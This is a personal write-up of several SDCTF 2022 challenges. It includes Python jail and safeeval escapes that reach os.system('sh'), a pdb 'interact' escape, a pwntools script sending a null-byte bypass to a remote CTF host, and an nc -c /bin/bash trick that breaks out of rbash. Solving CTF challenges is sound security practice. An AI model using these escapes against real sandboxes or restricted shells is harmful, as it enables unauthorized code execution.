Page MenuHomedesp's stash

sdctf22.md
No OneTemporary

sdctf22.md

### symcalcpy
only calculator symbols aka no words
aside from first word that the calc pushes onto the interactive console - which must be alphabets
interactive console can retrieve values using `_` - sth i learnt while watching jason use it for radare and binja lol coz i never use interactive console
all thats left is to find a way to unwrap dicts into lists which the * list unpacking operator works excellently
```py
globals #get globals as _
_1=_ #persist
_2=_1()[[*_1()][2]] #builtins
_3=_2[[*_2][14]] #chr
_4=_2[[*_2][20]] #exec
_4(_3(105)+_3(109)+_3(112)+_3(111)+_3(114)+_3(116)+_3(32)+_3(111)+_3(115)+_3(59)+_3(32)+_3(111)+_3(115)+_3(46)+_3(115)+_3(121)+_3(115)+_3(116)+_3(101)+_3(109)+_3(40)+_3(39)+_3(115)+_3(104)+_3(39)+_3(41)) #exec('import os; os.system(\'sh\')')
```
although turns out octal escapes in python is also numbers `\011` for example which i couldve used instead of chr
and also `breakpoint()` exists lmao which i can then invoke `interact` and get a unrestricted shell with that
```pycon
First answer a question:
What is your favorite word? breakpoint
<built-in function breakpoint>
Happy calculating! And don't even try to hack!
> _()
> --Return--
> > <console>(1)<module>()->None
> (Pdb) interact
> *interactive*
> >>> import os; os.system('ls');
> flag.txt
> symcalc.py
> 0
> >>>
```
### bit flipping machine
input must be upper case chars, no length limit
characters are processed in pairs in the for loop, independently
so why not just map out what the arithmetic is doing in the loop thats the only part that matters (aka not c++ string manipulation stuff lol)
after translating to python and mapping from AA-ZZ, i eventually realized its selecting an index and selecting a bit mask to xor with
```py
#use this to get the map of what bit each pair of character flips
for v15 in upper:
for v16 in upper:
index = (v16 - 65 + 26 * (v15 - 65)) // 8
sc = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]
print(chr(v15), chr(v16), index, (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8)))
#print(chr(v15), chr(v16), sc)
```
which performs exactly the bit flipping said in the chall desc lol
well then all thats left is to map which bits to flip and thats it for the first part
second part is figuring out that the loop reads null terminator while the length check reads c++ string length integer instead so theres a mismatch if we send them null bytes before hitting a line feed which makes the second part solvable
(below is for second part but first part can be mapped in the same way)
```py
#get a comparison for checking the bits to flip
print([c + " " + bin(ord(c)) for c in '1000 USD'])
print([c + " " + bin(ord(c)) for c in '9999 BTC'])
#s = 'rm -rf /trash/'
s = 'Send Mallory 1000 USD'
#t = 'CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ'
t = 'EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL'
#length check - must be multiple of 4
print(len(t) & 3)
#perform flipping after manually determining which bit to flip on which char using the map
for i in range(0, len(t), 2):
v15 = ord(t[i])
v16 = ord(t[i+1])
index = (v16 - 65 + 26 * (v15 - 65)) // 8
s = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]
#print(bin(ord(s[13]))) #for debugging which bit we flipped wrong
print(s) #check final result
```
then just send the string obtained lol
```py
from pwn import *
p = remote('flip.sdc.tf', '1337')
p.sendline('CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ')
p.recvuntil('9999 BTC')
p.sendline('EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL\0\0') #for loop loops until null terminator, but c++ length checks whole string until \n which finishes getline
p.interactive()
```
(this is easily doable automatically but i was aiming for first blood so i manually did them all lol)
### flag hoarder
open core, see program argument is `/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt`
extract part of elf using `info proc mapping` -> `dump memory core.bin, 0x555555554000, 0x55555555FFF` (0x555555556000 is unreadable)
decompile whatevers decompilable, realize its opening files in argument and xoring something and pretty much not doing anything else
strings core file for `password`, see the very secret password, assume its the password we need and xor it according to guessing from decompilation
get bamboozled by the line feed and wonder why bz2 is dying until i opened the dump in hex editor and saw the 0A right after the password
add it and tada
solve script:
```py
import bz2
pw = b'this is my very secret password mwahahaha\n'
with open('enc', 'rb') as enc:
e = bytearray(enc.read(-1))
for i in range(len(e)):
e[i] ^= pw[i % len(pw)]
print(bz2.BZ2Decompressor().decompress(e, max_length=len(e)-10))
```
### turing complete safeeval
pwnlib safeeval checks opcode, which means i gotta learn pyc bytecodes
was testing what makefunction and loadfunction does, since thats the only thing they added for this chall to an otherwise proven fortified implementation
then i realized lambda can smuggle data
```py
import dis
c = compile("lambda x: ().__classes__.__subclasses__()", '<string>', 'eval')
#thus we can break safeeval jail using this since lambda smuggles code
#(lambda: ().__class__.__base__.__subclasses__()[132].__init__.__globals__["system"]("sh"))()
print(dis.Bytecode(c))
print(dis.dis(c))
```
originally assigned lambda then called it, but that triggers `LOAD_NAME` which aint allowed
but we can call it directly after defining
whew flag
### rbash warmup
since rbash only restricts command use, doesnt restrict arguments, use netcat to exec bash
local nc needed since host cannot communicate with outside services at all
so make 2 ncs and background both then foreground the listener to interact with bash
```sh
nc -v -l -n 127.0.0.1 -p 1337 &
nc 127.0.0.1 1337 -c /bin/bash &
fg 1
```
### internprise encryption
i translated it to z3 script without realizing its unicode based and unicode is variable length lol so `rb` wouldnt work
once [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) pointed that out to [@kever](https://maplebacon.org/authors/vEvergarden/) i solved it with z3 after dealing with extra signed bits
hey first z3 solve i guess
```py
from z3 import *
s = []
sol = Solver()
with open('flag.txt', 'r', encoding='utf-8') as enc:
ef = enc.read()
for i in range(len(ef)):
s += [BitVec('c' + str(i), 8)]
x = SRem((s[i] + i * 0xf), 0x80)
#print(simplify(x))
x += SRem(BitVecVal(ord(ef[i - 0x1]), 8), 128) if i > 0x0 else 0xd
#print(simplify(x))
x = SignExt(4, x) ^ 0x555
#print(simplify(x))
x = ((x ^ ~0x0)) & 0xff
#print(simplify(x))
x = ~(Extract(8, 0, x ^ 0x3))
#print(simplify(BV2Int(x, is_signed=True)))
x = ((x >> 0x1f) + x) ^ (x >> 0x1f)
#print(simplify(BV2Int(x, is_signed=True)))
#ef += [Extract(9, 0, x)]
sol.add(x == ord(ef[i]))
print(sol.check())
print(sol.unsat_core())
model = sol.model()
#print([simplify(BV2Int(x, is_signed=True)) for x in ef])
print('wtf' + str(model))
print("".join([chr(model[var].as_long() & 0b01111111) for var in s]))
```

File Metadata

Mime Type
text/x-python
Expires
Sun, Jul 6, 5:12 PM (1 d, 2 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
b9/3a/0e7b172dd5c5c9130cba8be795a1

Event Timeline